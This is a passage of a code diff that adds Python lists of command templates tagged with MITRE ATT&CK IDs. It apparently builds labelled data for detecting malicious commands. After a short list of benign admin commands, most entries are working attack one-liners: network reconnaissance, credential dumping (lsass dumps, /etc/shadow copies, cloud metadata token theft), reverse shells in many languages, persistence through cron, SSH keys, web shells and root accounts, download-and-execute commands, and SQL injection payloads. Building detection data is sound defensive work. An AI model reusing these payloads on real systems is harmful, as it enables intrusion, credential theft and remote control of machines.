("bash", "", "hostnamectl"),
|
| 367 |
+
("bash", "", "lsblk -f"),
|
| 368 |
+
("bash", "", "sudo certbot renew --dry-run"),
|
| 369 |
+
("bash", "", "curl -I https://{domain}"),
|
| 370 |
+
("bash", "", "curl -X POST -H 'Content-Type: application/json' -d '{{\"name\":\"{word}\"}}' https://api.{domain}/v1/items"),
|
| 371 |
+
("bash", "", "wget -r -np -nH --cut-dirs=2 https://docs.{domain}/{word}/"),
|
| 372 |
+
("bash", "", "pip install --upgrade {pkg}"),
|
| 373 |
+
("bash", "", "docker run --rm -it -p {port}:80 nginx:alpine"),
|
| 374 |
+
("bash", "", "docker exec -it {svc} /bin/sh"),
|
| 375 |
+
("bash", "", "kubectl logs deploy/{svc} -n {ns} --tail={n}"),
|
| 376 |
+
("bash", "", "helm upgrade --install {svc} ./charts/{svc} -n {ns}"),
|
| 377 |
+
("bash", "", "ansible-playbook -i inventory/{ns}.ini site.yml --limit {host}"),
|
| 378 |
+
("bash", "", "mysqldump -u {user} -p {table} > {file}.sql"),
|
| 379 |
+
("bash", "", "pg_dump -U {user} -d {table} -F c -f /backups/{file}.dump"),
|
| 380 |
+
("bash", "", "sudo tcpdump -i {iface} port 53 -c {n}"),
|
| 381 |
+
("bash", "", "nmcli device status"),
|
| 382 |
+
("bash", "", "traceroute {domain}"),
|
| 383 |
+
("bash", "", "openssl x509 -in /etc/ssl/certs/{host}.pem -noout -enddate"),
|
| 384 |
+
("bash", "", "git log --oneline -n {n}"),
|
| 385 |
+
("bash", "", "sudo chmod 600 /etc/ssl/private/{host}.key"),
|
| 386 |
+
("bash", "", "cat /etc/hostname"),
|
| 387 |
+
("bash", "", "vim {path}/{file}.conf"),
|
| 388 |
+
("bash", "", "base64 -d {file}.b64 > {file}.png"),
|
| 389 |
+
("bash", "", "echo \"0 3 * * * /usr/local/bin/backup.sh\" | sudo tee /etc/cron.d/backup"),
|
| 390 |
+
("powershell", "", "Get-ADUser -Identity {user} -Properties LastLogonDate, PasswordLastSet"),
|
| 391 |
+
("powershell", "", "Unlock-ADAccount -Identity {user}"),
|
| 392 |
+
("powershell", "", "Set-ADAccountPassword -Identity {user} -Reset -NewPassword (Read-Host -AsSecureString 'New password')"),
|
| 393 |
+
("powershell", "", "Get-NetIPConfiguration"),
|
| 394 |
+
("powershell", "", "Get-Volume | Where-Object SizeRemaining -lt 10GB"),
|
| 395 |
+
("powershell", "", "Start-Process msiexec.exe -ArgumentList '/i {winpath}\\{file}.msi /qn /norestart' -Wait"),
|
| 396 |
+
("powershell", "", "winget install --id Git.Git -e"),
|
| 397 |
+
("powershell", "", "choco upgrade all -y"),
|
| 398 |
+
("powershell", "", "Get-ScheduledTask | Where-Object State -eq 'Ready' | Select-Object TaskName"),
|
| 399 |
+
("powershell", "", "Get-LocalUser | Select-Object Name, Enabled, LastLogon"),
|
| 400 |
+
("powershell", "", "Get-Acl {winpath} | Format-List"),
|
| 401 |
+
("powershell", "", "Resolve-DnsName {domain}"),
|
| 402 |
+
("powershell", "", "Enter-PSSession -ComputerName {host}"),
|
| 403 |
+
("powershell", "", "Get-WinEvent -FilterHashtable @{{LogName='Security'; Id=4625}} -MaxEvents {n}"),
|
| 404 |
+
("powershell", "", "Restart-Computer -ComputerName {host} -Force"),
|
| 405 |
+
("cmd", "", "tasklist | findstr {svc}"),
|
| 406 |
+
("cmd", "", "net start {svc}"),
|
| 407 |
+
("cmd", "", "gpupdate /force"),
|
| 408 |
+
("cmd", "", "nslookup {domain}"),
|
| 409 |
+
("cmd", "", "tracert {domain}"),
|
| 410 |
+
("cmd", "", "net user {user} /domain"),
|
| 411 |
+
("cmd", "", "certutil -hashfile {winpath}\\{file}.iso SHA256"),
|
| 412 |
+
("cmd", "", "reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall /s | findstr DisplayName"),
|
| 413 |
+
("cmd", "", "schtasks /run /tn \"\\Backup\\Nightly\""),
|
| 414 |
+
("sql", "", "SELECT user_id, COUNT(*) AS logins FROM sessions WHERE created_at > '{date}' GROUP BY user_id;"),
|
| 415 |
+
("sql", "", "CREATE TABLE {table}_archive AS SELECT * FROM {table} WHERE created_at < '{date}';"),
|
| 416 |
+
("sql", "", "GRANT SELECT, INSERT ON {table} TO app_user;"),
|
| 417 |
+
("sql", "", "SELECT name FROM {table} WHERE name = 'O''Brien';"),
|
| 418 |
+
("sql", "", "VACUUM ANALYZE {table};"),
|
| 419 |
+
("sql", "", "SELECT pid, state, query FROM pg_stat_activity WHERE state <> 'idle';"),
|
| 420 |
+
("sql", "", "SHOW TABLES;"),
|
| 421 |
+
("sql", "", "DESCRIBE {table};"),
|
| 422 |
+
("sql", "", "SELECT * FROM {table} WHERE id IN ({n}, {n2}) UNION SELECT * FROM {table}_archive WHERE id = {n};"),
|
| 423 |
+
("http", "", "GET /api/v1/{table}?page={n2}&limit={n} HTTP/1.1"),
|
| 424 |
+
("http", "", "/search?q={word}&sort=created_at"),
|
| 425 |
+
("http", "", "POST /login username={user}&remember=true"),
|
| 426 |
+
]
|
| 427 |
+
|
| 428 |
+
RECON += [
|
| 429 |
+
("bash", "T1046", "nmap -Pn -p 21,22,80,443,445,3306,3389 {ip} -oN {file}.txt"),
|
| 430 |
+
("bash", "T1046", "nmap -sU --top-ports 100 {ip}"),
|
| 431 |
+
("bash", "T1046", "nmap --script vuln -p 80,443 {subnet}"),
|
| 432 |
+
("bash", "T1046", "nmap -sn {subnet} | grep 'report for'"),
|
| 433 |
+
("bash", "T1046", "rustscan -a {ip} --ulimit 5000 -- -sV"),
|
| 434 |
+
("bash", "T1046", "nc -nvz {ip} 1-1024 2>&1 | grep succeeded"),
|
| 435 |
+
("bash", "T1018", "arp-scan --localnet"),
|
| 436 |
+
("bash", "T1018", "fping -a -g {subnet} 2>/dev/null"),
|
| 437 |
+
("bash", "T1595", "ffuf -u http://{ip}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt"),
|
| 438 |
+
("bash", "T1595", "wpscan --url http://{ip}/ --enumerate u,vp"),
|
| 439 |
+
("bash", "T1595", "whatweb http://{ip}"),
|
| 440 |
+
("bash", "T1590", "smbmap -H {ip} -u guest"),
|
| 441 |
+
("bash", "T1590", "rpcclient -U '' -N {ip} -c enumdomusers"),
|
| 442 |
+
("bash", "T1590", "ldapsearch -x -H ldap://{ip} -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName"),
|
| 443 |
+
("bash", "T1590", "snmpwalk -v2c -c public {ip}"),
|
| 444 |
+
("bash", "T1590.002", "dnsrecon -d {domain} -t axfr"),
|
| 445 |
+
("bash", "T1590.002", "dig axfr @{ip} {domain}"),
|
| 446 |
+
("bash", "T1082", "uname -a; cat /etc/*-release; hostname; w; last -n {n}"),
|
| 447 |
+
("bash", "T1083", "getcap -r / 2>/dev/null; ls -la /etc/cron*"),
|
| 448 |
+
("bash", "T1083", "ls -la /home/*/ /root/ /opt/ 2>/dev/null"),
|
| 449 |
+
("bash", "T1069", "cat /etc/group | grep -E 'sudo|wheel|docker|adm'"),
|
| 450 |
+
("bash", "T1518", "dpkg -l | grep -iE 'mysql|apache|nginx|tomcat'; which gcc python perl"),
|
| 451 |
+
("bash", "T1613", "kubectl get pods -A -o wide; kubectl get nodes -o wide"),
|
| 452 |
+
("bash", "T1580", "aws ec2 describe-instances --query 'Reservations[].Instances[].PrivateIpAddress'"),
|
| 453 |
+
("bash", "T1580", "az account list && az vm list -o table && az ad user list"),
|
| 454 |
+
("bash", "T1580", "gcloud projects list && gcloud compute instances list"),
|
| 455 |
+
("powershell", "T1018", "1..254 | % {{ Test-Connection -Count 1 -Quiet {prefix}.$_ }}"),
|
| 456 |
+
("powershell", "T1046", "Test-NetConnection -ComputerName {ip} -Port 445 -InformationLevel Quiet"),
|
| 457 |
+
("powershell", "T1016", "Get-NetNeighbor; Get-NetRoute; Get-DnsClientCache"),
|
| 458 |
+
("powershell", "T1069.001", "Get-LocalGroupMember -Group Administrators; Get-LocalUser | ? Enabled"),
|
| 459 |
+
("powershell", "T1087.002", "([adsisearcher]'(&(objectCategory=user)(adminCount=1))').FindAll() | % {{ $_.Properties.samaccountname }}"),
|
| 460 |
+
("powershell", "T1087.002", "Get-ADUser -Filter {{ServicePrincipalName -ne \"$null\"}} -Properties ServicePrincipalName"),
|
| 461 |
+
("powershell", "T1615", "Get-GPO -All | Select-Object DisplayName; gpresult /r"),
|
| 462 |
+
("powershell", "T1083", "Get-ChildItem -Path \\\\{host}\\C$ -Recurse -ErrorAction SilentlyContinue"),
|
| 463 |
+
("powershell", "T1012", "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName, DisplayVersion"),
|
| 464 |
+
("powershell", "T1518.001", "Get-Process | Where-Object {{ $_.ProcessName -match 'MsMpEng|CSFalcon|SentinelAgent|cb' }}"),
|
| 465 |
+
("powershell", "T1087.002", "Import-Module ActiveDirectory; Get-ADGroup -Filter * | Get-ADGroupMember | Select name"),
|
| 466 |
+
("cmd", "T1018", "dsquery computer -limit 0 & dsquery user -limit 0"),
|
| 467 |
+
("cmd", "T1018", "for /L %i in (1,1,254) do @ping -n 1 -w 100 {prefix}.%i | find \"TTL\""),
|
| 468 |
+
("cmd", "T1135", "net share & net session & net view \\\\{host}"),
|
| 469 |
+
("cmd", "T1033", "quser & qwinsta"),
|
| 470 |
+
("cmd", "T1069.002", "net group \"Enterprise Admins\" /domain"),
|
| 471 |
+
("cmd", "T1087.001", "wmic useraccount get name,sid,status"),
|
| 472 |
+
("cmd", "T1082", "wmic os get caption,version,osarchitecture & wmic qfe list brief"),
|
| 473 |
+
("cmd", "T1016", "netsh interface ip show config & netsh wlan show profiles"),
|
| 474 |
+
("cmd", "T1482", "nltest /domain_trusts"),
|
| 475 |
+
("sql", "T1213", "SELECT * FROM all_users; SELECT owner, table_name FROM all_tables;"),
|
| 476 |
+
("sql", "T1213", "SELECT name FROM sqlite_master WHERE type='table';"),
|
| 477 |
+
("sql", "T1213", "EXEC sp_linkedservers; SELECT name FROM master..sysdatabases;"),
|
| 478 |
+
("sql", "T1213", "SELECT grantee, privilege_type FROM information_schema.user_privileges;"),
|
| 479 |
+
]
|
| 480 |
+
|
| 481 |
+
CREDS += [
|
| 482 |
+
("bash", "T1003.008", "cp /etc/shadow /tmp/.{file} && chmod 644 /tmp/.{file}"),
|
| 483 |
+
("bash", "T1003.008", "tar czf /dev/shm/{file}.tgz /etc/passwd /etc/shadow"),
|
| 484 |
+
("bash", "T1003.007", "strings /proc/$(pgrep -f {svc})/environ | grep -iE 'pass|key|token'"),
|
| 485 |
+
("bash", "T1003.007", "gcore -o /tmp/{file} $(pgrep -f sshd | head -1) && strings /tmp/{file}* | grep -i password"),
|
| 486 |
+
("bash", "T1552.004", "find / -name 'id_*' -not -name '*.pub' -path '*/.ssh/*' 2>/dev/null -exec cat {{}} +"),
|
| 487 |
+
("bash", "T1552.004", "grep -rl 'PRIVATE KEY' /home /root /opt 2>/dev/null"),
|
| 488 |
+
("bash", "T1552.001", "grep -E 'DB_PASSWORD|DB_USER' /var/www/*/wp-config.php"),
|
| 489 |
+
("bash", "T1552.001", "env | grep -iE 'secret|token|password|key'"),
|
| 490 |
+
("bash", "T1552.001", "cat /proc/*/environ 2>/dev/null | tr '\\0' '\\n' | grep -iE 'AWS_SECRET|TOKEN'"),
|
| 491 |
+
("bash", "T1552.001", "git log -p | grep -iE 'password|secret|api_key' | head -n {n}"),
|
| 492 |
+
("bash", "T1555.003", "sqlite3 ~/.config/google-chrome/Default/'Login Data' 'select origin_url, username_value, password_value from logins'"),
|
| 493 |
+
("bash", "T1552.005", "curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"),
|
| 494 |
+
("bash", "T1552.005", "curl -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"),
|
| 495 |
+
("bash", "T1558.004", "impacket-GetNPUsers {addomain}/ -usersfile users.txt -format hashcat -outputfile asrep.txt"),
|
| 496 |
+
("bash", "T1557.001", "responder -I {iface} -wrf"),
|
| 497 |
+
("bash", "T1110.001", "medusa -h {ip} -u admin -P /usr/share/wordlists/rockyou.txt -M ssh"),
|
| 498 |
+
("bash", "T1110.002", "john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt"),
|
| 499 |
+
("powershell", "T1003.001", "Out-Minidump -Process (Get-Process lsass) -DumpFilePath $env:TEMP"),
|
| 500 |
+
("powershell", "T1003.001", "& \"C:\\Program Files\\Microsoft Visual Studio\\Common7\\IDE\\dump64.exe\" (Get-Process lsass).Id C:\\Temp\\{file}.dmp"),
|
| 501 |
+
("powershell", "T1558.004", "Rubeus.exe asreproast /format:hashcat /outfile:{file}.txt"),
|
| 502 |
+
("powershell", "T1558.003", "Rubeus.exe kerberoast /outfile:{file}.txt"),
|
| 503 |
+
("powershell", "T1555", "SharpChrome.exe logins /unprotect"),
|
| 504 |
+
("powershell", "T1555", "Invoke-SessionGopher -Thorough"),
|
| 505 |
+
("powershell", "T1552.001", "Get-Content \"$env:APPDATA\\FileZilla\\recentservers.xml\" | Select-String Pass"),
|
| 506 |
+
("powershell", "T1552.001", "Get-ChildItem -Recurse -Include unattend.xml,sysprep.xml,web.config -Path C:\\ -ErrorAction SilentlyContinue | Select-String -Pattern 'password'"),
|
| 507 |
+
("powershell", "T1003.004", "Invoke-Mimikatz -Command '\"lsadump::secrets\"'"),
|
| 508 |
+
("powershell", "T1552.002", "Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' | Select DefaultUserName, DefaultPassword"),
|
| 509 |
+
("cmd", "T1555", "lazagne.exe all -oJ -output C:\\Temp"),
|
| 510 |
+
("cmd", "T1003.003", "esentutl.exe /y /vss C:\\Windows\\NTDS\\ntds.dit /d C:\\Temp\\{file}.dit"),
|
| 511 |
+
("cmd", "T1003.002", "reg save HKLM\\SECURITY C:\\Users\\Public\\sec.hiv"),
|
| 512 |
+
("cmd", "T1003.001", "tasklist /fi \"imagename eq lsass.exe\" & rundll32 comsvcs.dll MiniDump 624 C:\\Temp\\{file}.dmp full"),
|
| 513 |
+
("cmd", "T1003.001", "sqldumper.exe 624 0 0x0110"),
|
| 514 |
+
("cmd", "T1552.001", "type C:\\inetpub\\wwwroot\\web.config | findstr connectionString"),
|
| 515 |
+
("cmd", "T1552.001", "dir /s /b C:\\*pass*.txt C:\\*cred*.xml C:\\*.kdbx"),
|
| 516 |
+
("sql", "T1555", "SELECT loginname, password FROM master..syslogins;"),
|
| 517 |
+
("sql", "T1555", "SELECT email, password_hash, reset_token FROM {table};"),
|
| 518 |
+
("sql", "T1555", "SELECT LOAD_FILE('/etc/shadow');"),
|
| 519 |
+
]
|
| 520 |
+
|
| 521 |
+
REVSHELL += [
|
| 522 |
+
("bash", "T1059.004", "sh -i >& /dev/udp/{ip}/{port} 0>&1"),
|
| 523 |
+
("bash", "T1059.004", "/bin/sh -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5"),
|
| 524 |
+
("bash", "T1059.004", "exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done"),
|
| 525 |
+
("bash", "T1059.004", "zsh -c 'zmodload zsh/net/tcp && ztcp {ip} {port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"),
|
| 526 |
+
("bash", "T1059.004", "nc -c bash {ip} {port}"),
|
| 527 |
+
("bash", "T1059.004", "busybox nc {ip} {port} -e sh"),
|
| 528 |
+
("bash", "T1059.004", "ncat --ssl {ip} {port} -e /bin/bash"),
|
| 529 |
+
("bash", "T1059.004", "socat TCP:{ip}:{port} EXEC:sh"),
|
| 530 |
+
("bash", "T1059.004", "socat OPENSSL:{ip}:{port},verify=0 EXEC:/bin/bash"),
|
| 531 |
+
("bash", "T1059.006", "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{domain2}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"),
|
| 532 |
+
("bash", "T1059.006", "export RHOST=\"{ip}\";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"sh\")'"),
|
| 533 |
+
("bash", "T1059", "php -r '$s=fsockopen(\"{ip}\",{port});$p=proc_open(\"sh\",[0=>$s,1=>$s,2=>$s],$pipes);'"),
|
| 534 |
+
("bash", "T1059", "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"{ip}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"),
|
| 535 |
+
("bash", "T1059", "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");loop{{c.gets.chomp!;(exit! if $_==\"exit\");IO.popen($_,\"r\"){{|io|c.print io.read}}}}'"),
|
| 536 |
+
("bash", "T1059", "rcat connect -s bash {ip} {port}"),
|
| 537 |
+
("bash", "T1059", "go run /tmp/{file}.go # net.Dial(\"tcp\",\"{ip}:{port}\") -> exec.Command(\"/bin/sh\")"),
|
| 538 |
+
("bash", "T1059.004", "curl -s http://{ip}:{port2}/shell.sh | bash -i >& /dev/tcp/{ip}/{port} 0>&1"),
|
| 539 |
+
("powershell", "T1059.001", "$sm=(New-Object Net.Sockets.TCPClient('{ip}',{port})).GetStream();[byte[]]$bt=0..65535|%{{0}};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}}"),
|
| 540 |
+
("powershell", "T1059.001", "$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('{ip}',{port})).GetStream())"),
|
| 541 |
+
("powershell", "T1059.001", "Invoke-ConPtyShell {ip} {port}"),
|
| 542 |
+
("powershell", "T1059.001", "$ssl=New-Object Net.Security.SslStream((New-Object Net.Sockets.TcpClient('{ip}',{port})).GetStream(),$false,({{$true}} -as [Net.Security.RemoteCertificateValidationCallback]));$ssl.AuthenticateAsClient('{domain}')"),
|
| 543 |
+
("cmd", "T1059.003", "C:\\Users\\Public\\nc64.exe {ip} {port} -e powershell.exe"),
|
| 544 |
+
("cmd", "T1059.003", "%TEMP%\\{file}.exe -e cmd.exe {ip} {port}"),
|
| 545 |
+
("cmd", "T1059.003", "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port})\" & rem interactive"),
|
| 546 |
+
("sql", "T1505.001", "EXEC xp_cmdshell 'C:\\Users\\Public\\nc.exe {ip} {port} -e cmd.exe';"),
|
| 547 |
+
("sql", "T1505.001", "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/{ip}/{port} 0>&1\"');"),
|
| 548 |
+
]
|
| 549 |
+
|
| 550 |
+
PERSIST += [
|
| 551 |
+
("bash", "T1053.003", "echo '*/{min} * * * * root /dev/shm/.{file}' > /etc/cron.d/{svc2}"),
|
| 552 |
+
("bash", "T1053.003", "echo '@reboot /usr/local/bin/.{file}' | crontab -u {user} -"),
|
| 553 |
+
("bash", "T1053.002", "echo '/tmp/.{file}' | at now + 1 minute"),
|
| 554 |
+
("bash", "T1098.004", "cat /tmp/{file}.pub >> /home/{user}/.ssh/authorized_keys"),
|
| 555 |
+
("bash", "T1098.004", "curl -s http://{ip}/k.pub >> ~/.ssh/authorized_keys"),
|
| 556 |
+
("bash", "T1543.002", "systemctl enable {svc2}.service && systemctl start {svc2}.service"),
|
| 557 |
+
("bash", "T1543.002", "cp /tmp/{file} /usr/lib/systemd/system-generators/{svc2}"),
|
| 558 |
+
("bash", "T1546.004", "echo 'alias ls=\"ls --color=auto; /tmp/.{file} &\"' >> /home/{user}/.bashrc"),
|
| 559 |
+
("bash", "T1546.004", "echo '/tmp/.{file} 2>/dev/null &' >> /etc/bash.bashrc"),
|
| 560 |
+
("bash", "T1556.003", "cp /tmp/pam_{file}.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_{file}.so' /etc/pam.d/sshd"),
|
| 561 |
+
("bash", "T1136.001", "useradd -m -G sudo -s /bin/bash {user2} && echo '{user2}:{pw}' | chpasswd"),
|
| 562 |
+
("bash", "T1136.001", "echo '{user2}:x:0:0::/root:/bin/bash' >> /etc/passwd"),
|
| 563 |
+
("bash", "T1505.003", "echo '<%@ Page Language=\"C#\" %><% System.Diagnostics.Process.Start(\"cmd.exe\",\"/c \"+Request[\"c\"]); %>' > /var/www/html/{file}.aspx"),
|
| 564 |
+
("bash", "T1547.006", "insmod /tmp/{file}.ko && echo {file} >> /etc/modules"),
|
| 565 |
+
("bash", "T1037.005", "echo '[Desktop Entry]\\nExec=/tmp/.{file}' > ~/.config/autostart/{svc2}.desktop"),
|
| 566 |
+
("powershell", "T1547.001", "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce -Name {svc2} -Value 'C:\\Users\\Public\\{file}.exe' -PropertyType String"),
|
| 567 |
+
("powershell", "T1053.005", "Register-ScheduledTask -TaskName '{svc2}' -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Action (New-ScheduledTaskAction -Execute 'C:\\ProgramData\\{file}.exe') -User SYSTEM"),
|
| 568 |
+
("powershell", "T1543.003", "New-Service -Name {svc2} -BinaryPathName 'C:\\ProgramData\\{file}.exe' -StartupType Automatic"),
|
| 569 |
+
("powershell", "T1546.003", "Set-WmiInstance -Namespace root\\subscription -Class CommandLineEventConsumer -Arguments @{{Name='{svc2}';CommandLineTemplate='C:\\ProgramData\\{file}.exe'}}"),
|
| 570 |
+
("powershell", "T1098", "Add-ADGroupMember -Identity 'Domain Admins' -Members {user2}"),
|
| 571 |
+
("powershell", "T1546.015", "New-Item -Path 'HKCU:\\Software\\Classes\\CLSID\\{{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}}\\InprocServer32' -Value 'C:\\Users\\Public\\{file}.dll' -Force"),
|
| 572 |
+
("cmd", "T1053.005", "schtasks /create /sc minute /mo {min} /tn \"{svc2}\" /tr \"powershell -w hidden -f C:\\ProgramData\\{file}.ps1\" /f"),
|
| 573 |
+
("cmd", "T1547.001", "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v {svc2} /d \"C:\\Users\\Public\\{file}.exe\" /f"),
|
| 574 |
+
("cmd", "T1547.001", "copy {file}.exe \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{svc2}.exe\""),
|
| 575 |
+
("cmd", "T1136.002", "net user {user2} {pw} /add /domain & net group \"Domain Admins\" {user2} /add /domain"),
|
| 576 |
+
("cmd", "T1546.012", "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe\" /v Debugger /d cmd.exe /f"),
|
| 577 |
+
("cmd", "T1543.003", "sc config {svc2} binPath= \"cmd /c C:\\ProgramData\\{file}.exe\" start= auto"),
|
| 578 |
+
("cmd", "T1197", "bitsadmin /create {svc2} & bitsadmin /addfile {svc2} http://{ip}/{file}.exe C:\\Temp\\{file}.exe & bitsadmin /SetNotifyCmdLine {svc2} C:\\Temp\\{file}.exe NULL & bitsadmin /resume {svc2}"),
|
| 579 |
+
("sql", "T1053", "CREATE EVENT {svc2} ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('/tmp/.{file}');"),
|
| 580 |
+
("sql", "T1136", "INSERT INTO {table} (username, password_hash, role) VALUES ('{user2}', '$2b$12$abcdefghijklmnopqrstuv', 'admin');"),
|
| 581 |
+
]
|
| 582 |
+
|
| 583 |
+
DOWNEXEC += [
|
| 584 |
+
("bash", "T1105", "wget -O- https://{domain2}/install.sh | sudo bash"),
|
| 585 |
+
("bash", "T1105", "curl http://{ip}/{file}.sh -o /tmp/{file}.sh; bash /tmp/{file}.sh"),
|
| 586 |
+
("bash", "T1105", "curl -s http://{ip}/{file} | sh -s -- --silent"),
|
| 587 |
+
("bash", "T1105", "lwp-download http://{ip}/{file} /tmp/{file} && perl /tmp/{file}"),
|
| 588 |
+
("bash", "T1105", "fetch -o - http://{ip}/{file}.sh | sh"),
|
| 589 |
+
("bash", "T1105", "python3 -c \"import requests,subprocess;open('/tmp/{file}','wb').write(requests.get('http://{ip}/{file}').content);subprocess.call(['chmod','+x','/tmp/{file}']);subprocess.Popen(['/tmp/{file}'])\""),
|
| 590 |
+
("bash", "T1105", "scp {user}@{ip}:/srv/{file} /tmp/ && chmod +x /tmp/{file} && /tmp/{file}"),
|
| 591 |
+
("bash", "T1105", "wget -q http://{ip}/{file}.deb && dpkg -i {file}.deb"),
|
| 592 |
+
("bash", "T1105", "curl -sk https://{ip}/{file}.elf -o /var/tmp/{file} && chmod 755 /var/tmp/{file} && nohup /var/tmp/{file} >/dev/null 2>&1 &"),
|
| 593 |
+
("bash", "T1105", "docker run --rm -d {ip}:5000/{file}:latest"),
|
| 594 |
+
("powershell", "T1059.001", "iwr http://{ip}/{file}.ps1 -useb | iex"),
|
| 595 |
+
("powershell", "T1059.001", "irm https://{domain2}/{file}.ps1 | iex"),
|
| 596 |
+
("powershell", "T1105", "Start-BitsTransfer -Source http://{ip}/{file}.exe -Destination $env:TEMP\\{file}.exe; & $env:TEMP\\{file}.exe"),
|
| 597 |
+
("powershell", "T1105", "$p=\"$env:TEMP\\{file}.exe\";(New-Object Net.WebClient).DownloadFile('https://{domain2}/{file}.exe',$p);Start-Process $p -WindowStyle Hidden"),
|
| 598 |
+
("powershell", "T1059.001", "IEX ([Text.Encoding]::ASCII.GetString((Invoke-WebRequest http://{ip}/{file}.txt -UseBasicParsing).Content))"),
|
| 599 |
+
("powershell", "T1059.001", "$x=[System.Net.WebRequest]::Create('http://{ip}/{file}');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()"),
|
| 600 |
+
("powershell", "T1218.011", "Invoke-WebRequest http://{ip}/{file}.dll -OutFile $env:TEMP\\{file}.dll; rundll32 $env:TEMP\\{file}.dll,DllMain"),
|
| 601 |
+
("cmd", "T1105", "certutil.exe -urlcache -f http://{ip}/{file}.txt enc.txt && certutil -decode enc.txt {file}.exe && {file}.exe"),
|
| 602 |
+
("cmd", "T1218.010", "regsvr32 /s /u /i:https://{domain2}/{file}.sct scrobj.dll"),
|
| 603 |
+
("cmd", "T1105", "powershell -c \"(New-Object Net.WebClient).DownloadFile('http://{ip}/{file}.exe','C:\\Users\\Public\\{file}.exe')\" && C:\\Users\\Public\\{file}.exe"),
|
| 604 |
+
("cmd", "T1105", "expand \\\\{ip}\\share\\{file}.cab C:\\Temp\\{file}.exe & C:\\Temp\\{file}.exe"),
|
| 605 |
+
("cmd", "T1218", "wmic process call create \"powershell -nop -c iex(iwr http://{ip}/{file}.ps1 -useb)\""),
|
| 606 |
+
("cmd", "T1218.003", "cmstp.exe /ni /s http://{ip}/{file}.inf"),
|
| 607 |
+
("cmd", "T1105", "\\\\{ip}\\share\\{file}.exe"),
|
| 608 |
+
("sql", "T1105", "EXEC xp_cmdshell 'powershell -c \"iex(iwr http://{ip}/{file}.ps1 -useb)\"';"),
|
| 609 |
+
]
|
| 610 |
+
|
| 611 |
+
SQLI += [
|
| 612 |
+
("sql", "T1190", "' or 'x'='x"),
|
| 613 |
+
("sql", "T1190", "') OR ('1'='1"),
|
| 614 |
+
("sql", "T1190", "\" OR 1=1 -- "),
|
| 615 |
+
("sql", "T1190", "{n} UNION SELECT {col}, password FROM {table}"),
|
| 616 |
+
("sql", "T1190", "' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()-- -"),
|
| 617 |
+
("sql", "T1190", "{n}' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- "),
|
| 618 |
+
("sql", "T1190", "' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -"),
|
| 619 |
+
("sql", "T1190", "'; EXEC master..xp_dirtree '\\\\{domain2}\\x'--"),
|
| 620 |
+
("sql", "T1190", "'; EXEC xp_cmdshell 'whoami'--"),
|
| 621 |
+
("sql", "T1190", "{n} AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='a') THEN 1 ELSE 0 END FROM dual)"),
|
| 622 |
+
("sql", "T1190", "' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.tables),1,1))>{n}--"),
|
| 623 |
+
("sql", "T1190", "{n}' AND BENCHMARK(5000000,MD5('a'))-- -"),
|
| 624 |
+
("sql", "T1190", "' UNION SELECT NULL,NULL,{nulls}NULL INTO OUTFILE '/var/www/html/{file}.php'-- -"),
|
| 625 |
+
("sql", "T1190", "'; UPDATE users SET password='{pw}' WHERE username='admin'--"),
|
| 626 |
+
("sql", "T1190", "{user}'/**/OR/**/1=1#"),
|
| 627 |
+
("sql", "T1190", "%' AND 1=0 UNION ALL SELECT username||':'||password FROM users--"),
|
| 628 |
+
("sql", "T1190", "1;SELECT pg_sleep({sec})"),
|
| 629 |
+
("sql", "T1190", "' HAVING 1=1--"),
|
| 630 |
+
("sql", "T1190", "' GROUP BY {col} HAVING 1=1--"),
|
| 631 |
+
("http", "T1190", "/api/user?id={n}%20OR%201=1"),
|
| 632 |
+
("http", "T1190", "GET /index.php?cat={n}'+AND+1=CONVERT(int,@@version)-- HTTP/1.1"),
|
| 633 |
+
("http", "T1190", "Cookie: session={word}' OR '1'='1"),
|
